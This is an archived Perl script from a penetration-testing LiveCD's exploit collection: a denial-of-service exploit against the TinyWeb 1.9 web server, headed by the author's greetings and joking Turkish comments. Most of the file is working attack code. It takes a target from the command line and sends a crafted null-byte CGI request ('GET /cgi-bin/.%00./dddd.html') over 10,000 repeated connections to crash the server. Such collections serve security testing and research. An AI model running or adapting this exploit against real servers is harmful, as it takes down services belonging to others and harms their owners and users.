home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / tinyweb / tinyweb19DoS.pl < prev   
Text File  |  2005-03-05  |  1KB  |  45 lines
  1. #TinyWeb version 1.9 DoS Exploit
  2. #Coded bY ++Karak0rsan++
  3. #Usage:perl tiny.pl [target]
  4. #Greetz:Phalaposher,r3d_b4r0n,Hurby,ZzagorR,L4M3R,zeronc,Atak,sloan,fox and
  5. #all my friends
  6. # w0rdz: cengiz g t ne sokam senin ehehheh bak exploit yay nlan rsa reziL #olacan :D ama #yay nlanmaz belki yay nlansada bo ver nickini s ylemiyom #anlamazlar :P okullar a l yo peder benim #bilg. kald r yo ne yapcam ben #bilmiyom a.k :) siktiri boktan bi dos exploiti yazd k yolluyoz g venlik
  7. #sitesine :D neyse uzatmayal m "I AM 15 YEARS OLD" ya m z belirtelim :D
  8.  
  9. $target=$ARGV[0];
  10.  
  11. if(!$ARGV[0]){
  12.         print "TinyWeb version 1.9 DoS Exploit\n";
  13.         print "Coded by ++Karak0rsan++\n";
  14.         print "Usage:perl tiny.pl [target]\n";
  15. }
  16.  
  17.  
  18. use IO::Socket;
  19. $sock = new IO::Socket::INET( PeerAddr => $target,
  20. PeerPort => 80,
  21. Proto => 'tcp',
  22. Type => SOCK_STREAM, );
  23. close($sock);
  24. if($sock){
  25.         print "[+]Attacking...\n";
  26. }
  27.  
  28.  
  29. $ish=1;
  30.  
  31. do {
  32. $ish++;
  33. use IO::Socket;
  34. $socket = new IO::Socket::INET( PeerAddr => $target,
  35. PeerPort => 80,
  36. Proto => 'tcp',
  37. Type => SOCK_STREAM, ) or die "Didnt Connect,please check your target
  38. address!\n";
  39. print $socket "GET /cgi-bin/.%00./dddd.html HTTP/1.0\r\n";
  40. close($socket);
  41. } while ($ish < 10000);
  42.  
  43. print "OK ;)\n";
  44. exit();
  45.